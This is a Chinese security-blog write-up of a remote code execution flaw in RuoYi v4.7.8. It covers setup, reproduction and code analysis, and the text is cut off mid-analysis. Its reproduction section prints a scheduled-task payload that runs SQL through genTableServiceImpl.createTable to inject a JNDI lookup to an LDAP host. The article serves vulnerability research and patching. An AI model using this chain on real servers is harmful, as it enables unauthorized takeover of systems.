专栏名称: 合天网安实验室
为广大信息安全爱好者提供有价值的文章推送服务!
目录
相关文章推荐
白鲸出海  ·  特朗普宣布将于3月4日对中国再额外增收10%关税 ·  8 小时前  
百度智能云  ·  百度与宁德时代:牵手成功! ·  昨天  
阿里开发者  ·  使用A10单卡24G复现DeepSeek ... ·  昨天  
白鲸出海  ·  ElevenLabs上线AI有声书平台,Ad ... ·  2 天前  
阿里开发者  ·  大模型推理主战场:什么才是通信协议标配? ·  2 天前  
51好读  ›  专栏  ›  合天网安实验室

若依4.7.8 执行任意SQL语句导致RCE漏洞

合天网安实验室  · 公众号  ·  · 2024-07-05 16:30

正文

0x01 简介

RuoYi 是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

0x02 漏洞概述

RuoYi v4.7.8 若依后台管理系统通过定时任务调用 genTableServiceImpl 直接执行 sql 来更改定时任务内容,从而绕过黑白名单的限制,实现RCE。

0x03 影响版本

RuoYi v4.7.8

0x04 环境搭建

官网地址:http://ruoyi.vip

文档地址:https://doc.ruoyi.vip/ruoyi/document/hjbs.html

创建数据库 ry 并导入数据脚本 ry_2021xxxx.sql,quartz.sql

idea 载入项目,找到 ruoyi-admin\src\main\resources\application-druid.yml,修改数据库配置

然后运行 com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。

0x05 漏洞复现

本地搭建好环境,访问http://localhost/login

admin/amdin123 登录后台,首先创建一个任务 id100:

再另外创建一个任务,内容如下:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')

SQL 语句中的 16 进制为我们要执行的代码:

javax.naming.InitialContext.lookup('ldap://xxxxx')

创建任务 101

可以看到任务 100 已经更新为需要执行的代码

成功收到回显

0x06 漏洞分析

从复现的步骤可以看出,RCE 是由定时任务加上 SQL 注入造成的。

定时任务分析

定时任务添加:

定位到 com/ruoyi/quartz/controller/SysJobController#addSave 方法中,可以看到在添加定时任务前,对字符串进行了黑白名单的判断

当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库

然后创建定时任务

然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute

继续跟进,进入 invokeMethod 方法

getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段

getBeanName:获取 beanName

getMethodName:获取方法名

getMethodParams:获取参数名

然后判断是不是全限定类名,若不是则从 spring 容器中获取

继续跟进 invokeMethod 方法,利用反射执行方法

从上可分析出如下结果:

  1. 对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称
  2. 若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象

SQL 注入分析

在 ruoyi 4.7.5 版本之前,后台接口 /tool/gen/createTable 处存在 sql 注入(CVE-2022-4566)

而 genTableService 的实现类是 GenTableServiceImpl

对应的 Mapper 语句

"createTable">
       ${sql}

运行结果:

RCE 分析

根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句







请到「今天看啥」查看全文